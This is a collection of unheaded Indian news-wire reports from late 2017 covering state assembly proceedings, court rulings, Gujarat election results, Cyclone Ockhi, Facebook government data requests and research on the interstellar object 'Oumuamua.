Likewise, in the Janjgir-Champa case, five accused have been arrested and Rs 20 lakh cash was seized from them, he said.

"Between April 1, 2016 and June 30, 2017, the state police has succeeded in arresting 1,842 accused in 938 cases of murder, 786 accused in 330 cases of loot, 4,010 accused in 2,364 cases of theft and 2,209 accused in 1,772 cases of rape," the minister said.

However, state Congress chief Baghel sought to know why the SBI branch, which was earlier located near Vidhan Sabha police chowkie, was shifted to a secluded place in Mandhar and who ordered for its relocation.

Baghel also sought to know the identity of the victims (bank locker holders) in Mandhar case.

The home minister said police have arrested two burglars in the case within 24 days of the crime and further investigation is underway.

Interrupting him, Congress members sought to know why the bank was shifted, to which the minister said that investigation into the case was progressing.

Dissatisfied over his reply, Congress members staged a walkout from the House.

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The Madhya Pradesh Congress today demanded an SIT probe into the incident wherein a police constable allegedly pointed his gun at former Union minister Kamal Nath at Chhindwara airstrip last Friday.

Opposition leader Ajay Singh said they have submitted a letter to state chief secretary in this regard.

The incident occurred on December 15 evening when the constable Ratnesh Pawar allegedly pointed his service rifle at the senior Congress MP who was about to board a private plane for Delhi from the airstrip.

However, alert security guards of the Congress leader overpowered Pawar.

"I have submitted a letter to state chief secretary requesting him to order an inquiry by a special investigation team (SIT) into the incident in which a state police constable pointed his gun at Kamal Nath," Leader of Opposition Ajay Singh said.

Singh said the constable had earlier been suspended from the service twice and that police had claimed that he was suffering from mental illness.

"If the police constable was mentally sick, then why was he deployed in the former union minister's security?" he asked.

Singh claimed that some RSS literature was found at the residence of Pawar in Chhindwara.

However, Chhindwara DIG G K Pathak denied recovery of any such material.

"No literature of any outfit was found at Pawar's residence. We are conducting a thorough inquiry into the matter. It is up to the state government to take a decision on an SIT investigation," Pathak said.

He said the documents related to Pawar's "mental illness" were found at his residence.

"The police constable was booked under IPC sections 308 (Attempt to commit culpable homicide)," the DIG said.

He said though the constable was undergoing treatment for his mental illness he did not disclose it to police department as he feared losing his job.

"The documents related to his illness were found at his residence," Pathak said.

The officer said Pawar, suspended after the incident, was admitted in the psychiatric unit of Subash Chandra Bose medical college in Jabalpur for a detailed examination of his mental status.

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In a status report submitted to the Orissa High Court today, the Archaeological Survey of India (ASI) said a wide crack was noticed in the "natamandap" of the Jagannath temple in Puri.

The high court is monitoring the repair work undertaken by the ASI at the 12th-century shrine, while adjudicating over a PIL seeking a judicial intervention for an effective repair and renovation of the temple.

Stating that the repair work of the "beharana" (a portion of the temple) would be over by February next year, the ASI told the court in an affidavit that the crack in the "natamandap" (dancing hall) was noticed when its cement plaster was removed.

Notably, the high court-appointed commission of inquiry, headed by engineer-turned-lawyer Nagendra Mohanty, had informed the court last month that the condition of the "natamandap" needed immediate attention.

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Prime Minister Narendra Modi today assured the fishing community at Poonthura near here that the Centre would spare no effort to trace their missing fellowmen and help them rebuild their lives, in the wake of the devastating Cyclone Ockhi.

"The whole country is with you in this time of sorrow. We will do everything to search the missing fishermen," Modi said at the fishing hamlet.

He was addressing a gathering of men, women and children who had lost their kin when the cyclone lashed the coastal areas of the state on November 29-30.

"...We pray to God that before Christmas, all the missing persons return," Modi said after hearing the woes of the fisher folk who had gathered at Poonthura for hours to meet him.

Modi said he would be holding discussions with the state government this evening on ways to alleviate their grievances.

The prime minister said Defence minister Nirmala Sitharaman had visited the affected areas and taken stock of the situation as soon as the cyclone struck the region.

The Navy and Coast Guard are continuing the search operations even now, he said.

Modi also spoke to priests of the Latin Catholic church to which most of the fishermen in the region belong.

A weeping woman was heard narrating her plight to the prime minister.

"Tell us what we should do. We do not know," she said.

A fishermen said, "We are scared to go to the sea now sir".

The prime minister, who arrived here after visiting Kanyakumari and Lakshadweep, was accompanied by Union minister Alphons Kannamthanam, Kerala Chief Minister Pinarayi Vijayan, Governor P Sathasivam among others.

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India, the largest audience country for Facebook, requested for data 9,853 times in the first half of 2017 - up from 6,324 times in the first half of 2016, according to a latest report by the social media giant.

Facebook released its latest 'Government Requests Report' yesterday, which covered account data requests from the first half of 2017 and revealed a 21 per cent increase in government requests for user data worldwide.

Those requests rose from 64,279 in the second half of 2016 to 78,890.

Facebook restricted access to 1,228 pieces of content "in response to legal requests from law enforcement agencies and the India Computer Emergency Response Team within the Ministry of Electronics and Information Technology," the company said.

"The majority of content restricted was alleged to violate local laws relating to defamation of religion and hate speech," Facebook said.

The Indian government and law enforcement agencies also requested for some information on 13,752 user accounts. Facebook produced "some data" in 54 per cent of the cases in the January-June 2017 period.

In the case of 262 Facebook accounts flagged in the "Emergency" category from user/account requests, the company produced "some data" in 36 per cent of the cases.

Facebook was disrupted 21 times in the first half for the Indian users, it said.

"We are aware of disruptions affecting access to Facebook products and services in India that took place during all six months of this reporting period. These disruptions were contained to specific regions," the company said.

As of July, Facebook users in India have crossed 240- million mark, becoming the largest audience country for the social media giant, according to a media report.

Facebook is reporting a total potential audience of 241 million active users in India, compared to 240 million in the US.

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To strengthen public transport in the national capital, the Delhi government today gave its nod to a proposal for a study on rationalisation of bus routes and last mile connectivity.

The Delhi Cabinet, headed by Chief Minister Arvind Kejriwal, approved the proposed study by the Delhi Integrated Multi Modal System (DIMTS) on route rationalisation and last mile connectivity, a senior government official said.

It will cover all routes used by buses of the Delhi Transport Corporation (DTC), cluster scheme, Gramin Sewa, Delhi Metro feeder services and others, he said.

"The study will solve the problems of low frequency, inadequate coverage and crowding, leading to better efficiency of the transport system and enhanced satisfaction level of passengers," the official said.

DIMTS will complete the study in six months, he said.

The study will include a detailed household travel survey (one per cent of total households in Delhi). DIMTS will also plan all public transport modes such as standard buses, Gramin Sewa and chartered buses among others.

DIMTS also plans to conduct work place surveys in Noida, Ghaziabad, Faridabad, Gurgaon and Bahadurgarh to capture the interaction of these cities with Delhi, he said.

"The updated travel database and study will assist planners to understand user needs and launch new schemes which will improve public transport system in the city," he said.

It will also seek to develop criteria for delineation of operation area of electric-rickshaws, the official added.

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The city police today told the Delhi High Court that it proposed to bring in a new system of forwarding the FIRs related to sexual violence against minors to the Delhi State Legal Services Authority (DSLSA) to ensure that the victims got the necessary legal aid.

A bench of Acting Chief Justice Gita Mittal and Justice C Hari Shankar was also informed that a display board was installed at all the police stations with phone numbers and e-mail addresses of those concerned in this regard.

The Delhi police counsel further submitted that the legal aid counsel would be available round-the-clock and that the victims as well the accused could avail of his services.

Noting that such FIRs should be sent to the DSLSA within 24 hours, the bench said the police should work on a mechanism, under which the same could be sent immediately.

"There should be a robust system in place with regard to providing legal aid to the victims of sexual offences as well as the accused," the bench observed.

It added that the boards containing information about the legal aid services should be displayed prominently at the police stations.

"The DSLSA shall ensure that the compensation, in accordance with the Victim Compensation Scheme, 2015, is released at the earliest. Needless to say that the DSLSA shall comply with the necessary procedure prescribed in the scheme," the bench observed.

The police furnished the information during the hearing of a PIL, which was initiated by the court on its own after taking cognizance of reports on the sexual assault of a five-year-old girl inside her school in east Delhi.

The court decided to initiate the proceedings on its own after noting that the Delhi government had ordered the suspension of the medical officer concerned for "negligence" in treating the rape survivor.

"The reports raise issues of public interest," the bench said, adding, "There can be nothing more important than the information or report of such crimes being brought to the immediate attention of the DSLSA, to enable it to take immediate steps for providing legal aid to the victim as well as compensation."



It also noted that in the present case, there was an intervention by the police, but no such step by the DSLSA.

The bench said DSLSA interventions were "must" so far as the victims of sexual offences, both adults and children, were concerned.

This, while ensuring justice to the victim, would also ensure that the best assistance was available to the police for effectively investigating the crime as well as for the medical treatment and examination of the victims, it said.

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A parliamentary panel on public sector undertakings has asked the power ministry to undertake a comprehensive review of the planning process of the electricity transmission system in view of the prevailing anomalies in the sector.

The Committee on Public Sector Undertakings, in a report tabled in Parliament today, said the total transfer capability (TTC) was less than half of the physical capacity of (power transmission) lines.

"Total TTC in March 2016 works out to 21,870 MW as against the total physical (power transmission) capacity of 54,750 MW," the panel said in its report "Planning and Implementation of Transmission Projects by State-run Power Grid Corp".

The committee has asked the power ministry to undertake a comprehensive review of the transmission system planning process keeping in view of the prevailing anomalies in the power sector, constraints being faced by CPSUs and prospective electricity requirement of the country.

It said that such an exercise will help the ministry to plug in the loopholes in the present system and evolve a better road map for their future endeavours.

The panel said, "The national grid should be capable of meeting regional deficit in a particular region like the southern region from a surplus region like western or eastern regions...only then the actual purpose of having a national grid could be considered to be accomplished."



Presently, the inter-regional power transmission capacity stood at 78,050 MW (by September, 2017) as per the power ministry data.

India has added 3,000 MW of transmission capacity till September this fiscal against the targeted 4,200 MW.

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A 50-year-old senior lady doctor and her driver were today killed when their car crashed into a truck near Burj village here, police said.

Senior Medical Officer (SMO) of Morinda Civil Hospital, Dr Rashmi Bedi, and her driver Balwinder Singh (34), died on the spot after the collision on Khanna-Sanghol road here, the police said.

Police have handed over the bodies to their family members, they said, adding a case has been registered against the truck driver, who is absconding.

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IndiGo, which accounted for a little over 39 per cent (4.13 million) of the total domestic traffic in November, slipped to the second position in on-time performance (OTP). Rival SpiceJet delivered the highest OTP at 81.9 per cent from four major metro airports, according to the monthly traffic data released by the Directorate General of Civil Aviation (DGCA).

SpiceJet also clocked a seat factor of over 90 per cent for the 32nd consecutive month, at 95.5 per cent in November. Our on-time performance at 81.9 per cent was the best of all airlines in India. SpiceJet also recorded the highest load factor for the 32nd month in a row. The load factor at 95.5 per cent is also the highest in SpiceJets history. This has set a new threshold in global aviation and we are proud of that, said Ajay Singh, chairman and managing director, SpiceJet, in a statement.

Naresh Goyal-promoted Jet Airways OTP hit rock bottom in November as nearly half (54.1 per cent) of its flights along with subsidiary JetLite) failed to depart or arrive at their destinations on time, the monthly DGCA data showed.

Domestic air travel demand surged nearly 17 per cent in November to 10.48 million passengers compared to 8.96 million from a year-ago period, thereby registering a growth of 16.99 per cent on the back of festive season demand and addition of new flights and routes.

Passenger load factor, a measure of how full the plane flies, has shown an increasing trend in November, primarily due to the tourist season, the DGCA said. November is also the month when airlines winter schedule comes into effect, during which carriers announce new flights and routes.

At present, the DGCA publishes monthly OTP of domestic airlines from four metro airports  Delhi, Mumbai, Bengaluru and Hyderabad.

Regional carrier, TrueJet, cancelled the highest number of flights among all 12 domestic carriers while disinvestment-bound national carrier, Air India, saw the maximum number of passengers complaints against its services during the month.

OTP of an airline is measured from the time an aircraft gets detached from an aerobridge or step ladder for the push back at the departing airport to the time it gets attached to an aerobridge or step ladder at the arriving airport.
'Oumuamua - first interstellar visitor to be observed in the solar system - has a dry, organic layer protecting its icy interior from vapourising, and is very similar to the minor planets in our system, scientists say.

Worldwide investigations into the mysterious, cigar- shaped object that passed close to Earth show that the way our planets and asteroids are formed is very similar to the systems around other stars in our galaxy.

Since the object was spotted in October, astronomers have been trying to piece together a profile of the strange visitor, which has been named 'Oumuamua.

Researchers from Queen's University Belfast in the UK measured the way that 'Oumuamua, reflects sunlight, and found it similar to icy objects covered with a dry crust.

This is because 'Oumuamua has been exposed to cosmic rays for millions, or even billions, of years, creating an insulating organic-rich layer on its surface.

The research, published in the journal Nature Astronomy, suggests that 'Oumuamua's dry crust could have protected its icy interior from being vaporised - even though the object was just over 37 million kilometres from the Sun in September when it zipped past.

"We have discovered that the surface of 'Oumuamua is similar to small solar system bodies that are covered in carbon-rich ices, whose structure is modified by exposure to cosmic rays," said Alan Fitzsimmons, Professor at Queen's University Belfast in the UK.

"We have also found that a half-metre thick coating of organic-rich material could have protected a water-ice-rich comet-like interior from vapourising when the object was heated by the sun, even though it was heated to over 300 degrees centigrade," said Fitzsimmons.

Researchers observed 'Oumuamua while it was still within reach of the largest telescopes in the world.

They found the object was the same colour as some of the icy minor planets they had been studying in the outskirts of our solar system.

This implies that different planetary systems in our galaxy contain minor planets like our own.

Working together, the researchers have been able to uncover some very important facts about 'Oumuamua.

"We've discovered that this is a planetesimal with a well-baked crust that looks a lot like the tiniest worlds in the outer regions of our solar system, has a greyish red surface and is highly elongated, probably about the size and shape of the Gherkin skyscraper in London," said Michele Bannister from Queen's University.

"It's fascinating that the first interstellar object discovered looks so much like a tiny world from our own home system," Bannister said.

"This suggests that the way our planets and asteroids formed has a lot of kinship to the systems around other stars," she said.

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The Goa government has ruled out any violation of norms at the state-run protective home for children and juveniles 'Apna Ghar', located at Merces near here in North Goa district.

Women and Child Department Minister Vishwajit Rane tabled a status report of the Goa Commission for Protection of Child Rights (GCPCR) in the Legislative Assembly on the concluding day of the session yesterday.

As per the report, the inmates in conflict with law and those in the need of care and protection are segregated, unlike in the past when they were kept at one place.

The report stated that there was no need to provide more funds and facilities at the protection home.

"Segregation is being done, JJB (conflict with law) boys are shifted to the first floor and CWC (care and protection) boys are shifted to the ground floor age-wise in the recently inaugurated new building," the minister said.

He was responding to a query tabled by Congress MLA Antonio Caetano Fernandes.

A clutch of NGOs had recently flagged concerns over the conditions prevailing at the protection home and sought immediate action by the minister.

The NGOs had alleged that inmates were meted with ill-treatment by the staff working at Apna Ghar.

Quoting the report, Rane said though the inmates complained that they feel "bored" to stay in the facility for the entire duration, "the outdoor playground is not suitable for them for playing".

"Books are provided by a mobile library van which visits Apna Ghar premises every Monday between 3 PM and 5 PM. The proposal of installation of a television set is under consideration," he said.

As per the report, a total of seven personnel on contract have been tasked to gurad the premises round-the-clock.

"While a male intern counsellor has been appointed, the appointment of a male counsellor on a regular basis is under process," Rane said quoting the report.

The inmates are provided with proper food and they are given non-vegetarian food like fish, chicken and eggs every alternate day.

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The government and the opposition today held meetings to resolve the impasse in Rajya Sabha over Prime Minister Narendra Modi's "conspiracy with Pak" remark against his predecessor Manmohan Singh during the Gujarat poll campaign, but the stalemate on the issue continued.

Opposition leaders met Finance Minister Arun Jaitley, Parliamentary Affairs Minister Ananth Kumar and his deputy Vijay Goel in Parliament and sought a resolution of the issue. They demanded that the prime minister should clarify his remarks in the Rajya Sabha.

The half-an-hour meeting in Jaitley's chamber was attended by Congress leaders Ghulam Nabi Azad and Anand Sharma, besides opposition leaders Ramgopal Yadav, Satish Misra, D Raja and others.

After the meeting, Jaitley separately met Leader of Opposition in Rajya Sabha Azad in the latter's chamber.

Earlier, before the House commenced, the Congress leaders had also met Rajya Sabha chairman M Venkaiah Naidu for the resolution of the issue with the Vice President suggesting that the matter be resolved between the opposition and the government sitting across the table.

Azad also raised the issue in the House after which Naidu suggested that the two sides sit together and resolve the issue. Leader of the House Arun Jaitley agreed to do so and the two meetings with the opposition followed.

"The meeting has been held. Opposition leaders have given their proposition to the government," Congress leader Anand Sharma told reporters.

"We are still waiting whether the justifiable demand of the opposition is acceptable to the prime minister so that we can bring a closure to the controversy which was painful, which was of his creation and was entirely avoidable," he said.

Sharma said the prime minister has said something which in their view is a constitutional transgression because he holds the office of the prime minister.

"To say anything that casts aspersions which are insidious on the former prime minister who held his office with distinction for 10 years, former vice president, former Army chief and distinguished diplomats, they all are deeply anguished and they cannot speak for themselves," he said.

Sharma said the opposition has been asking the government and the prime minister to clarify and restore the dignity of both his office and of the political narrative of the country.

"We can request him, we can demand, but it is up to him whether to redeem what he should believe or not...," he said.

The Rajya Sabha, however, functioned today after the Chairman said the issue would be resolved.

Opposition members raised slogans and sought an apology. Azad said the prime minister should come to the House and clarify what he said, as his charges that his predecessor was "conspiring" with Pakistan was "a big issue".

Azad said allegations are levelled during elections but some are not good for democracy, and the country. "Such allegations are deadly for those against whom they are made," he said, adding that Manmohan Singh's integrity and loyalty to the country has been questioned.

"Is he the person who is conspiring against the Indian state? Is the former prime minister, former vice president not loyal to the country? These allegations are made by no less than the prime minister.

"The prime minister of India should come to the House and explain his remarks and if the former prime minister and others are proved wrong, then action should be taken against them," he told the House amid vociferous protests by Congress members, who raised slogans of "maafi mango" (apologise).

Naidu, while talking about his morning meeting with Congress leaders, said, "My suggestion was (that) it is not good for the country to see that the House is not running properly."



"All things can be internally discussed...and dignity of Parliament should be maintained," he said.

Azad said, "It is a matter of privilege. It should also be to the satisfaction of Manmohan Singh." Azad said.

Earlier, Manmohan Singh had met Naidu and expressed his concerns to him.

"I have talked to him and have understood what he meant. I have also received a note of what exactly he said and also what was said about the prime minister by others...calling names," Naidu said, adding that the prime minister is the prime minister of the country and that has to be kept in mind by everybody.

Sharma said, "He is the Prime Minister and we are conscious of dignity of the office of Prime Minister, which we want him to restore."



"We are waiting in what manner the Prime Minister seeks to address because it is not in the interest of the country or Indian democracy that a serving Prime Minister casts insidious aspersions on his immediate predecessor," he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Greenpeace India has hailed the National Clean Air Programme, saying it's an important first step towards ensuring unpolluted air for the country's people.

Minister Harsh Vardhan yesterday informed the Rajya Sabha in a written reply that the government has formulated the NCAP to tackle the increasing air pollution in the country.

Welcoming the move by the Ministry, Greenpeace India's campaigner Sunil Dahiya said: "NCAP is an important first step towards ensuring clean air for India."



He said it was imperative to have "measurable, focused and precise" targets with clear timelines and demonstrable accountability towards public health, to make the programme a national-level initative.

The minister had said that the objective of the NCAP was to augment and evolve an effective ambient air quality monitoring network across India, besides ensuring a comprehensive management plan for prevention, control and abatement of air pollution.

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Congress president Rahul Gandhi said today the Gujarat election results were a "zabardast jhatka" (a massive jolt) to the BJP, and raised questions about Prime Minister Narendra Modi's credibility after he led his party to a narrow victory in the state.

He claimed the Gujarat results indicated that the country was not listening to Modi any more.

Gandhi also hit out at Modi's Gujarat model of development, calling it "good propaganda and able marketing", but which is "hollow from within".

"I came to know there (in Gujarat) that people actually do not accept Modiji's model," the Congress president said.

"It was thought that the Congress will not be able to fight the BJP in Gujarat...You saw the results and it has dealt a 'zabardast jhatka' (a massive jolt) to the BJP in Gujarat," he told reporters.

The BJP won 99 seats in the 182-member assembly, down from 115 it won in 2012, and far lower than the 150-plus seats it had hoped for. It is also for the first time its tally slipped below the 100 mark since the BJP formed its maiden government on its own in 1995.

The Congress won 77 seats, up by 16 seats.

Gandhi called it a "very good result" and a moral victory for the Congress. "We lost, but we could have won...but fell short by a small margin," he said.

"A big question has been raised on Modiji's credibility. Frankly, Modiji has a credibility problem and he will find it very difficult... Because what he is saying, his forces and his organisation are repeating that.

"But the country is not listening to that. This, the Gujarat election has shown. In the coming times, you will see this clearly," he said.

Talking of credibility, he said while Modi spoke "non-stop" about corruption, he never uttered a word about Jay Shah (BJP chief Amit Shah's son) or Rafale fighter jet deal, which the Congress claims was against the country's interest and encouraged crony capitalism.

"The country wants to know that you talked non-stop of corruption. Jay Shah, son of Amit Shah, turned Rs 50,000 into 80 crore in three months, there has been a scam in Rafale deal, why don't you talk of this. This is the credibility issue," he said.

Gandhi said Gujarat sent out a message to the BJP and Modi that the "anger" within them would not work.

The Congress chief, who vigorously campaigned in Gujarat, said in three months the state and its people taught him one thing that one can defeat opponents only with love and brotherhood, and not anger, money or force.

Mahatma Gandhi told this to the country and this feeling is embedded deeply in Gujarat.

"Gujarat has given a message to Modi ji and the BJP that the anger within you will not help you and love will defeat it," he said.

Gandhi also thanked the people of Gujarat and Himachal Pradesh for the verdict and congratulated all those who won.

Responding to a question about Modi's assertion that the BJP's win was an endorsement of his development agenda and economic reforms like the GST, the Congress president said, "It is strange as in his poll speeches he did not talk about development, nor about GST and note ban.

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The Congress, which won 77 seats in the Gujarat Assembly elections against the BJP's tally of 99, can take some solace from the fact that sixteen Congress candidates lost by less than 3,000 votes.

Three of them lost by less than 1,000 votes.

In Godhra, which has a significant Muslim population, BJP candidate C K Raulji (who was the sitting Congress MLA from the same seat before joining the ruling party during the Rajya Sabha election earlier this year) won by a wafer-thin margin of 258 votes.

He defeated Congress candidate Rajendrasinh Parmar, while independent candidate Jaswantsinh Parmar got 18,856 votes. As many as 3,050 votes went to None of the Above(NOTA).

Senior BJP leader and education minister Bhupendrasinh Chudasama won by a thin margin of 327 votes, defeating Congress's Ashvinbhai Rathod in Dholka constituency.

As many as 2,347 votes were cast for NOTA, while an independent candidate, Shaktisinh Sisidiya, got 4,222 votes.

Another senior BJP leader, Saurabh Patel, who was finance minister in the Anandiben Patel government and an MLA from Akota constituency in Vadodara before being asked to contest from Botad this time, defeated Congress's D M Patel by a margin of 906 votes.

In Vijapur constituency, BJP's Ramanbhai Patel defeated Congress's Nathabhai Patel by 1,164 votes, which was less than 1,280 votes which went to NOTA.

Two senior Congress leaders, Arjun Modhwadia and Siddharth Patel, lost by margins of 1,855 and 2,839 votes, respectively.

Other constituencies where the margin of victory of BJP candidates was less than 3,000 are: Himmatnagar (1,712), Garidhar (1,876), Umreth (1,883), Rajkot Rural (2,179), Khambhat (2,318), Vagra (2,370), Matar (2,406), Pratij (2,551), Fatehpura (2,711) and Visnagar (2,869).

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Maharashtra Chief Minister Devendra Fadnavis today said the results of Assembly elections in neighbouring Gujarat had made his own government stronger.

"Those who were jumping (with excitement) before poll results had to fall flat. The results have made us stronger and more stable," said Fadnavis, in an apparent jibe at those who predicted a Congress victory, as well as at the BJP's disgruntled ally Shiv Sena.

Speaking to reporters on the sidelines of ongoing winter session of Maharashtra legislature, Fadnavis said the results showed that voters didn't trust the opposition.

"We may have won fewer seats than last time, but we have got almost 50 per cent of the votes. It clearly shows that people stood strongly with us. Even in Maharashtra, people are voting for us and for (Shiv) Sena at some places. They don't want the Congress and NCP," he said.

Fadnavis also sought to dismiss the notion that the BJP doesn't enjoy much support in rural areas.

"There is nothing called rural distress. Even in Maharashtra, the opposition-organised farmers' rally was much smaller than our (BJP-organised) farmers' rally of 2013," he said.

Asked when senior BJP leader Eknath Khadse, who is apparently peeved as he has been sidelined following his resignation over corruption allegations, would return to the cabinet, Fadnavis said, "Khadse hasn't been isolated, he is a top leader in the party. He, or Narayan Rane (who recently quit the Congress to form his own party) may be outspoken, but they are experienced politicians. I think that it is more important.

"Rane has joined the NDA and now he will be well taken care of," Fadnavis said, adding that Rane's inclusion in the cabinet will not be from the Shiv Sena's quota and hence any question of Sena being unhappy about it does not arise.

Rane, a former Sena leader, is a fierce critic of the Thackeray family, and the Sena is reportedly opposed to his inclusion in the cabinet.

On a planned oil refinery in Konkan region, which is facing a stiff opposition from locals as well as the Shiv Sena, Fadnavis said some "commercial NGOs" coming from as far as Chennai were behind this opposition.

"Chembur (in Mumbai) has a refinery for years. Did anyone die there? These claims (about adverse effects on environment) are made due to the lack of knowledge," he said.

"These days even an agitation has become a business. Why these commercial NGOs are making noise in the areas with which they have no association?" he asked, claiming the project may generate one lakh jobs and would probably be the biggest green oil refinery in the world.

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A large number of people belonging to the Gujjar community today staged a protest here, demanding the removal of Jammu and Kashmir Forest Minister Choudhary Lal Singh for allegedly harassing them in connection with removal of encroachments.

Over 243 hectares of forest land have allegedly been encroached in the forest areas of Jammu city. Seven cases in this regard have been registered in Katra and 52 cases of Jammu are lodged in courts.

Dozens of people under the banner of the All Tribal Coordination Committee (ATCC) assembled at Sidhra, on the outskirts of the city, and took out a protest march towards the Raj Bhavan this afternoon, officials said.

They said the protesters blocked the Tawi bridge at the Sidrah bypass after police stopped them from proceeding further.

The protesters were carrying placards and were shouting slogans against Singh, demanding his immediate sacking, the officials said, adding that the agitators lifted the road blockade after senior civil and police officers persuaded them to disperse.

"The forest minister, in the name of removal of encroachments, is harassing the tribal community," said Talib Hussain, chairman ATCC.

He also demanded a CBI probe into the assets of the forest minister.

According to Singh, the total recorded encroachment of forest land in the city and on the outskirts of Jammu district was 243 hectares, out of which 99 hectares had been freed so far.

The Jammu and Kashmir High court has issued strict directives to the government to remove encroachments in Jammu and is monitoring the anti-encroachment drive of various departments, including the Jammu Development Authority (JDA).

In addition to the recorded encroachments, unrecorded and fresh attempts of encroachments to the tune of 205 hectares had been evicted in the last two years, he had said.

Of the 52 court cases, four had been decided in favour of the forest department, the minister said.

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A gang of five men today looted Rs 4.61 lakh at gunpoint from a Bihar Grameen Bank branch in Jamui district, police said.

The gunmen held the bank staff captive at gunpoint and decamped with Rs 4.61 lakh, including Rs 52,000 snatched from customers present at the branch, Chakai police station Officer-in-Charge Rohit Gupta said.

The branch manager, Rakesh Kumar, has lodged an FIR in this regard.

Police have begun an investigation, Gupta said.

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The Delhi High Court today asked a 15-year-old pregnant girl to "unambiguously" state whether she consents to terminate her foetus as she has changed her stand on the matter several times.

The court said, before passing any order, it wanted to be sure that the girl, who today told the judges she wanted to abort her pregnancy, will not change her mind again.

A bench of justices S Muralidhar and I S Mehta noted that the girl, who had left her house and married a man on her free will, changed her mind thrice between December 8, when she appeared before the Child Welfare Committee (CWC), and December 13, when she had gone for her medical examination to AIIMS, and again today while appearing before the court.

"Therefore, the court directs that the girl, through her parents, should file an affidavit before this court tomorrow clearly stating the circumstances under which she changed her mind... She should unambiguously state in the affidavit whether she consents to the termination of her pregnancy," it said, adding it appeared that the girl was "prevaricating".

The police had on November 27 taken into custody, the man to whom the girl was married under the provisions of the Protection Of Children from Sexual Offences Act and the IPC.

Initially the girl did not wish to return to her parents and was sent to Prayas Juvenile Aid Centre, and later she returned to her parents.

She appeared before the CWC on December 8 and stated that she wished to terminate her pregnancy, after which an AIIMS doctor was directed to examine her to ascertain if terminating her pregnancy was safe and medically advisable.

The doctor noted that she was not willing to abort her pregnancy as she had married consensually.

The doctor noted that her pregnancy was a result of rape, as she was aged less than 18 years. He also said termination of her pregnancy was not advisable.

The bench noted that the girl, through her father, has now approached the court stating that she wishes to terminate her foetus.

Section 3(2)(b) of the Medical Termination of Pregnancy (MTP) Act prohibits abortion of a foetus after 20 weeks of pregnancy.

Advocate Kamlesh Kumar Mishra, appearing for the girl, urged that, as has been done in many similar cases by the Supreme Court, a medical board should be constituted to evaluate her status and submit a report if it is safe for her to undergo an abortion at this stage.

During the day's hearing, both the judges spoke to the girl in chamber and she reiterated that she wishes to terminate her prenancy and also said that she had told the doctor that she did not wish to do so.

"...but she has since re-thought the matter and now wishes to terminate her pregnancy as she wishes to pursue her studies," it noted.

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The Delhi High Court today formed a temporary Internal Complaint Committee (TICC) in the Jawaharlal Nehru University (JNU) to proceed with 31 pending complaints of sexual harassment.

The court's direction came on a plea filed by a group of teachers and students of JNU opposing the office order disbanding the Gender Sensitisation Against Sexual Harassment (GSCASH) committee and replacing it by an ICC.

They also opposed a registrar's circular putting on hold the election of students' representatives to the dissolved body.

A bench of justices Sanjiv Khanna and Pratibha Singh said the three-member TICC will consist of one member each of the present ICC and erstwhile GSCASH and the third member would be nominated by them from an NGO or an association committed to the cause of women.

While nominating the third member, a list of NGOs and associations, prepared by the GSCASH or JNU administration, would be taken into consideration, the bench said.

It added that the directions were passed to ensure there is no tampering of records and breach of confidentiality.

The bench listed the matter for February 22, next year for final hearing and disposal of the petition challenging the varsity administration's decision on disbanding the GSCASH and forming the ICC instead.

During the hearing, advocate Ginny J Rautray, appearing for JNU, handed over to the bench the list of pending matters by suppressing the names of victims, accused and witnesses and said there are 31 pending complaints which were filed between January 5 last year to July 27 this year.

Senior advocate Indira Jaising, appearing for petitioner teachers and students, argued that the composition of ICC is in dispute and the complainants have confidence in GSCASH and not in ICC.

She claimed that the complainants have written to GSCASH members that they do not wish to pursue the complaints if this panel does not continue.

To this, the bench said the complainants do not have a choice in the matter and a complainant has the right to seek recusal of a member of the committee but with a valid reason.

It said these 31 cases should not be stalled as the issue relating to constitutional validity of the concerned UGC regulations is pending consideration.

The bench modified the stay order regarding the pending cases and formed the three-member temporary ICC to deal with these 31 matters.

It said that the records of these pending cases be made available to the temporary ICC and in case the two members of TICC do not reach any consensus in nominating the third member, they shall approach the court.

The court had earlier asked the JNU to maintain status quo on the sealing of the office of GSCASH committee which was superseded by the ICC.

The JNU administration had in its 269th Executive Council meeting held on September 18 ordered the dissolution of the independent body GSCASH.

As an interim relief, the petitioners had sought a stay on the operation of the order to disband GSCASH and a direction to JNU to preserve all records of GSCASH from 1999 till date in consultation with GSCASH.

The petition was filed by three teachers and three students Prof Madhu Sahni, Prof Rajat Dutta, Prof Hemant Adlakha, Ritika Kar, Rituraj Sharma and Sonam Goyal.

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High-octane electoral eclipsed major developments during 2017 in Uttar Pradesh where the BJP was on a roll, coming to power with a bang and ending the year by sweeping the civic polls.

Chief Minister Yogi Adityanath passed his first test with flying colours as the BJP pocketed the civic polls - viewed as a referendum ahead of the Lok Sabha elections in 2019 - winning 14 out of 16 mayoral seats in the state, with only the BSP among the Opposition parties recovering lost ground bagging two seats.

The saffron surge routed the Samajwadi Party and the Congress, both of which drew a blank.

The year began with the erstwhile ruling Samajwadi Party grappling with the worst-ever family feud in the Mulayam Singh Yadav clan which led to the coronation of his son Akhilesh Yadav as the new party boss replacing his father, the 79-year- old party patriarch.

Though the bitterness within the SP kept hogging newspaper headlines quite often and cost the party dearly at the hustings, the bickering had a fairy tale ending towards the end of the year with the father-son duo patching up.

Besides the rough and tumble of politics, the year will go down in the pages of history as one that saw a series of train mishaps, an explosion in NTPC boiler in Raebareli claiming over 30 lives and stampedes at some religious places, including Ayodhya, that exposed the chinks in the official machinery.

Hooch tragedies in the state, including the one in Azamgarh in July in which around 20 people died after consuming spurious liquor, prompted the government enact a law that provides for death sentence to bootleggers.

Uttar Pradesh became the third state, after Delhi and Gujarat, where bootleggers may be sent to the gallows, if consumption of spurious liquor leads to a loss of life.

The year dawned amid hectic electioneering as Uttar Pradesh - the most populous and politically crucial state - witnessed key political masterstrokes in the run up to the assembly elections in February-March that saw the BJP juggernaut steamroll the SP-Congress combine and the BSP.

The SP and the Congress had joined hands ahead of the assembly elections, but both parties came a cropper and even Mayawati's 'elephant' - the BSP symbol - could not withstand the saffron surge.

The results gave the BJP a landslide victory with 325 of the 403 assembly seats going to it and his allies, riding on the crest of "Na Gundaraj, Na Bhrashtachar, Abki baar BJP Sarkar" wave, leaving the opposition in deep despair.

After days of suspense as to who would head the BJP government, saffron-clad priest-turned-politician Yogi Adityanath donned the mantle of the chief minister at the age of 44 and marched ahead with a no-nonsense approach, though some of his tough decisions often not going down well with the masses.

At his action-packed cabinet meetings during his initial days in power, Adityanath took drastic steps to improve law and order and difficult decisions like farm loan waiver.

